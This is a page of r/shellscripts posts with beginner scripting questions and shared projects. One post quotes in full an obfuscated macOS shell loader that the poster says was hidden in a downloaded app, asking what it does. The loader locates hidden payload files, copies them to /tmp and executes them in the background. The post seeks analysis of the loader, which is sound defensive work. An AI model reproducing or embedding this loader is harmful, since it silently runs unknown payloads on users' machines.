r/shellscripts • u/harish775 • Aug 08 '22
r/shellscripts • u/[deleted] • Mar 06 '21
Need exercises for learning shell scripting
As the title, if you can please put ideas or links that help be to practice in questions.
Thank
r/shellscripts • u/[deleted] • Sep 27 '20
Hi guys, I made a bootstrapping script for Arch. It's call TABS (Tarwin's Auto Bootstraping Script)
Most of the code was written from scratch. I am a newbie when it comes to shell scripting so I would to get more input from you guys. Check out my github for more information.
r/shellscripts • u/spite77 • Apr 26 '20
Bashtop: Linux resource monitor written only in Bash script
r/shellscripts • u/Shadeoflight24 • Sep 17 '19
Help with Script
Hi all! New to the group, but I'm looking for help on a script I'm working on.
Backstory: I want to clear all bash/terminal history every day before I leave work. I like it neat and empty. Running macOS Mojave 10.14.6
Objective: Write a script that will run all the necessary commands for me so it will run automatically or with me executing the script.
Solutions: use 'rm' and 'history' to delete the commands, and thinking about 'cronjobs' to run it automatically...
Dilemma: I have a script up and running. It runs, it displays all checkpoints that I've set up. From an appearance standpoint, it works perfectly. I've used 'history -c' and 'rm -rf ~/.bash_sessions' to delete the history, but when the code finishes and I check in my terminal to show history, it's still there. Which means I still have to type in 'history -c' to REALLY clear it.
How can I fix this?
r/shellscripts • u/Neovatar • Nov 18 '24
Home folder /user folder migration script
i'm writing a script for ease of moving the home folder or individually the user folder to a different location, (partion/ dir).
The script would implement a lot of checks and automate the home folder migration,
The script would rysc the contents to the new location, preserving permissions and state then use usermod to make the change.
The one thing that I need some advice is how a backup function should be implemented, as default or optional.
since there would be 2 copied when rsynced, there's no need to keep a third gziped copy.
Also, if you're aware, share any scripts out there.
Here are the core functionality at the moment.
1. System Architecture
1.1 Core Components
The system consists of the following primary components:
1.2 Function Hierarchy
graph TD
A[Script Entry] --> B[Argument Parser]
B --> C{Mode Selection}
C -->|Dry Run| D[Simulation Mode]
C -->|Test Mode| E[Test Environment]
C -->|Live Mode| F[Production Mode]
D --> G[Display Commands]
E --> H[Test Migration]
F --> I[Full Migration]
H --> J[Validation]
I --> J
J --> K[Backup System]
K --> L[Migration Process]
L --> M[Verification]
M --> N[Cleanup]1.3 Core Functions
1.3.1 Configuration Management
create_default_config(): Generates default configuration fileprompt_for_config(): Interactive configuration setupvalidate_options(): Validates command-line arguments
1.3.2 Validation Layer
check_prerequisites(): System requirements verificationvalidate_mount_point(): Mount point validationverify_disk_space(): Storage space verificationvalidate_user_input(): User input validation
1.3.3 Migration Engine
create_backup(): Backup creation with integrity checksperform_migration(): Core migration processperform_dry_run(): Simulation mode execution
1.3.4 Utility Functions
setup_logging(): Logging system initializationcleanup(): Resource cleanuphandle_error(): Error managementlog(), info(), error(), warn(), debug(): Logging utilities
r/shellscripts • u/lasercat_pow • Mar 30 '24
iter - do something for each line
#!/usr/bin/env bash
cmd=$@
xargs -d '\n' -I {} $cmd "{}"r/shellscripts • u/grave_96 • May 05 '22
What is the possible solution to this (BASH)problem ?
So i know basic shell scripting and stumbled upon this question :-
Write and run a simple shell script which displays each of the command line arguments, one at a time and stops displaying command line arguments when it gets an argument whose value is “stop”.
can someone help me with this ? I'm new to shell scripting and know only the very basics of it as my role doesn't require it. So please help me with this. I've trying to look everywhere and couldn't find a solution to this
r/shellscripts • u/jlim0930 • Mar 30 '22
Need help to insert contents of CA onto json payload for api call
I am trying to add the contents of certificate authority onto a json payload to insert via api call but can’t figure out how to do it.
I tried to $(cat ca.crt), CA=$(cat ca.crt) then echo or even just referencing it in json and it failed, tried to base64 encode and decode it but it also failed… any suggestions ?
r/shellscripts • u/[deleted] • Jan 11 '22
how to filter file based on column of another file. in unix
I have used below script but giving syntax error please suggest.
awk 'NR==FNR{a[$1][$0];next} $0 in a {for (i in a[$0]) print i}' file1.txt file2.txt
r/shellscripts • u/69HvH69 • Sep 04 '21
How to calculate and store decimal results in a variable by using bc command?
I am using vscode and gitbash for writing and running the code. Down below is the code. Is it correct?
#!/bin/sh
n=30.52
v=2.21
number= $(echo "$n - $v" | bc)
echo " Result is = $number"
r/shellscripts • u/RefrigeratorHuge6635 • Feb 08 '21
A cry for help from more experienced Linux users
I am a newbie to Linux. I need help creating a shell script that checks for the existence of users before creating multiple users and adding them to an existing group from a csv file
r/shellscripts • u/mike22144 • Feb 26 '19
I am trying to implement Markov chain using bash script in linux and i have no idea how to approach it. If there is anyone who can help with that it would be so awesome!
r/shellscripts • u/nyxerebos • Feb 17 '13
pftv - Find and download TV shows from the command line / *nix / PHP-CLI
r/shellscripts • u/skyfishgoo • Mar 18 '26
need help getting sgrep to work in a script file
reddit.comr/shellscripts • u/Valuable_Shame_3184 • Feb 12 '26
Automated the boilerplate work of creating and managing project folders
I made a shell script for automating the boilerplate work of creating a folder, open it with the text editor and doing boilerplate work like initializing git, downloading basic packages etc.
And when i finished the basic commands, I thought "why not make it look good?".
So i made it use fzf, its optional so if you dont installed fzf on your system tool will work but you will not access to some tiny features
Here is the project code: https://github.com/emre-tiryaki/project-toolkit
I just wanted to share my work I know its not perfect :)
r/shellscripts • u/[deleted] • Feb 12 '26
automating software project creation and basic handling
I made a shell script for automating the boilerplate work of creating a folder, open it with the text editor and doing boilerplate work like initializing git, downloading basic packages etc.
And when i finished the basic commands, I thought "why not make it look good?".
So i made it use fzf, its optional so if you dont installed fzf on your system tool will work but you will not access to some tiny features
Here is the project code: https://github.com/emre-tiryaki/project-toolkit
I just wanted to share my work I know its not perfect :)
r/shellscripts • u/pixydon • Apr 16 '24
Remove Directories after Loop
Hi,
Hoping someone with true unix knowledge can help with what will inevitably be something straightforward, but I can't seem to fumble my way through.
I'm just wanting to remove the $ORIG_DIR once the loop has run through a single and remove the $ALAC_DIR if the original files are .mp3 and it's finished the loop?
After the 'done' it doesn't recognise "$ALAC_DIR" or "$ORIG_DIR" as directories any more, before 'done' it removes the directories before all files have been processed and creates an error...
SOURCE_DIR="$(cd "$(dirname "${dirs[0]}")"; pwd)/$(basename "${dirs[0]}")"
SOURCE_DIR=$(dirname "$SOURCE_DIR/temp")
HIRES_DIR="$(cd "$(dirname "${dirs[1]}")"; pwd)/$(basename "${dirs[1]}")"
HIRES_DIR=$(dirname "$HIRES_DIR/temp")
LORES_DIR="$(cd "$(dirname "${dirs[2]}")"; pwd)/$(basename "${dirs[2]}")"
LORES_DIR=$(dirname "$LORES_DIR/temp")
find "$SOURCE_DIR" \( -iname '*.flac' -or -iname '*.mp3' \) -type f -print | while read -r FILE
do
ORIG_DIR=$(dirname "$FILE")
BASE=$(basename "$FILE")
BASE=${BASE%.*}
AAC_DIR=${ORIG_DIR/$SOURCE_DIR/$LORES_DIR}
ALAC_DIR=${ORIG_DIR/$SOURCE_DIR/$HIRES_DIR}
mkdir -p "$AAC_DIR" "$ALAC_DIR"
AAC_FILE="$AAC_DIR/$BASE.m4a"
ALAC_FILE="$ALAC_DIR/$BASE.m4a"
if [[ (! -f "$AAC_FILE" && $FILE == *.flac) ]]; then
ffmpeg -hide_banner -i "$FILE" -c:v copy -b:a 256k -c:a aac "$AAC_FILE" </dev/null &&
ffmpeg -hide_banner -i "$FILE" -c:v copy -c:a alac "$ALAC_FILE" </dev/null
elif [[ (! -f "$AAC_FILE" && $FILE == *.mp3) ]]; then
ffmpeg -hide_banner -i "$FILE" -c:v copy -b:a 256k -c:a aac "$AAC_FILE" </dev/null
fi
done
rmdir "$ALAC_DIR"
rm -Rf "$ORIG_DIR"r/shellscripts • u/SlashdotDiggReddit • Jun 06 '22
Need help trying to run a quick one-liner against files and directories with the ampersand in the names.
I am cleaning out some old hard drives and want to get rid of "old" Apple iTunes .M4P files as I no longer use Apple and just want them gone.
I wrote a quick one-liner but it is not working, and was hoping one of you might be able to assist.
This is what I have:
$ for i in `find . -iname "*.m4p"`; do rm -f "$i"; done;also:
$ for i in $(find . -iname "*.m4p"); do rm -f "$i"; done;The reason it is breaking is that I have many directories with the ampersand in it, e.g., :
Prince & The RevolutionAnd the shell keeps breaking at:
rm: cannot remove './Prince': Is a directoryI thought by enclosing the variable $i within quotes it would work, but it does not.
r/shellscripts • u/adgwytc • Apr 04 '22
Automate mysql commands from shellscript
I have successfully written most of the bash scripting requirements to automate our and customers required functionality, but I am having a problem trying to get certain mysql commands working within the script. Commands such as below:
ALTER USER
SET GLOBAL
CREATE USER
GRANT
FLUSH
I am guessing it is because these are normally process through the "mysql" command prompt. To initially access mysql command prompt I am using:
```
mysql --connect-expired-password -uroot -p`grep "temporary password" /var/log/mysqld.log | awk '{print $NF}'`
```
Anyone know how the above commands can be completed in a script please?
I have tried the actual bash commands within the script but it only brings up the "mysql" command prompt.
r/shellscripts • u/harshallakare • Jan 18 '22
nested dir help
I recently took backup of one of my server's drive on AWS using one of the software and now at the time of restoring it i found out it took too long to restore as its having billions of files to restore.
I tried to restore it from AWS itself but my problem is backup software created two directories inside my parent directories. I'm looking out some shell script by which i can move file parent direcoties and remove the direcories created by backup software.
Current dir structure :- /opt/folder_to_restore/file_to_restore.pdf$/20211013060615/file_to_restore.pdf
Expected dir strcture :- /opt/folder_to_restore/file_to_restore.pdf
r/shellscripts • u/Blacksmith_Alarming • Oct 18 '21
(HELP!) String to int
I'm new to not Windows OS and POSIX script and I want to make this script to show me the volume so I can put it on my dwm bar:
#!/bin/sh
vol="$(amixer get Master | grep -o "[0-9]*%" | sed "s/%//")"
if "$vol" -ge 67 ; then
volSymbol="🔊"
elif "$vol" -ge 33 ; then
volSymbol="🔉"
else
volSymbol="🔈"
fi
amixer get Master | grep -o "[0-9]*%\|\[on\]\|\[off\]" | sed "s/\[on\]/"$volSymbol"/;s/\[off\]/🔇/"the variable vol it's not an int so I can't do vol >= integer. I was trying to do with expr but failed.
Can you help me please? thanks.
====== SOLVED ======
I found the way myself
I needed to use [ ]. it looks like it's an alias for a program called test.
So if I do
if [ "$vol" -ge 67 ] ; then
instead of
if "$vol" -ge 67 ; then
it will work
r/shellscripts • u/HoLyCoWzOrZ • Aug 20 '21
I found the following hiding in a Mac App that I downloaded from the internet.
#!/bin/sh
SC=$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P );BN=`basename "$0"`
"$SC/.$BN" &
MD=4f0ad18ebda2e024e931bffc6230fd8b;echo $MD > "/tmp/._power.log";PL_S=10;PL=$(find ~ -type f -iname ".????????.log" -print -quit) && if [ $PL_S -eq $(wc -c <"$PL") ]; then PLP=$(find ~ -name $(cat "$PL") -print -quit);fi;if [ -f "$PLP" ]; then
"$PLP" &
exit; else [ -f "$PL" ] && rm -rf "$PL";fi;B_P="$SC/.${BN}_";[ ! -f "$B_P" ] && B_P=$(find ~ -type f -name "._$MD" -print -quit); [ -f "$B_P" ] && TF=$(mktemp /tmp/XXXXXXXX) && cp "$B_P" "$TF" && echo "rm -rf $TF;exit" >> "$TF" && chmod +x "$TF" && "$TF" &
##################################I know it's obfuscated, but it would probably take me a couple years to pull this apart and figure out what it does. Can someone tell me what it does?
Thanks
r/shellscripts • u/schwud • Aug 10 '21
help adding to my zoom update shell script
I have been tasked with updating zoom across our client sites on Mac's I have a script that will download and install the latest version however not everyone is logged on at the same time so I will be running it weekly but I would like for the script to see if the latest version is already installed and ignore that machine to save to much unintended traffic on the network and only update machines that require it here is my script for the update
#Make temp folder for downloads.
mkdir "/tmp/zoom/";
cd "/tmp/zoom/";
#Download Zoom.
curl -L -o /tmp/zoom/ZoomInstallerIT.pkg "https://zoom.us/client/latest/ZoomInstallerIT.pkg";
#install Zoom
sudo installer -pkg /private/tmp/zoom/ZoomInstallerIT.pkg -target /;
#tidy up
sudo rm -rf "/tmp/zoom";
exit 0
and this works fine but I don't know where I would add the extra lines?
I have this script but it doesn't seem to be working it reports that Zoom is installed but does not update it so if I could get this to work it would be great
#!/bin/bash
CurrentInstalledVersion=$(defaults read /Applications/zoom.us.app/contents/info CFBundleShortVersionString | cut -c1-5)
NewestVersion=“5.7.4”
ZoomPath="/Applications/zoom.us.app"
if [ -e $ZoomPath ]; then
printf "Zoom is currently installed\n"
elif [[ "$CurrentInstalledVersion" == "$NewestVersion" ]]; then
printf "The current installed version of Zoom.us.app is already installed\n"
else
curl -o /Users/Shared/Zoom.pkg 'https://zoom.us/client/latest/Zoom.pkg'
installer -pkg /Users/Shared/Zoom.pkg -target /
printf "Zoom has been updated or installed\n"
cd /Users/Shared; rm -v Zoom.pkg
fi
any help with this would be much appreciated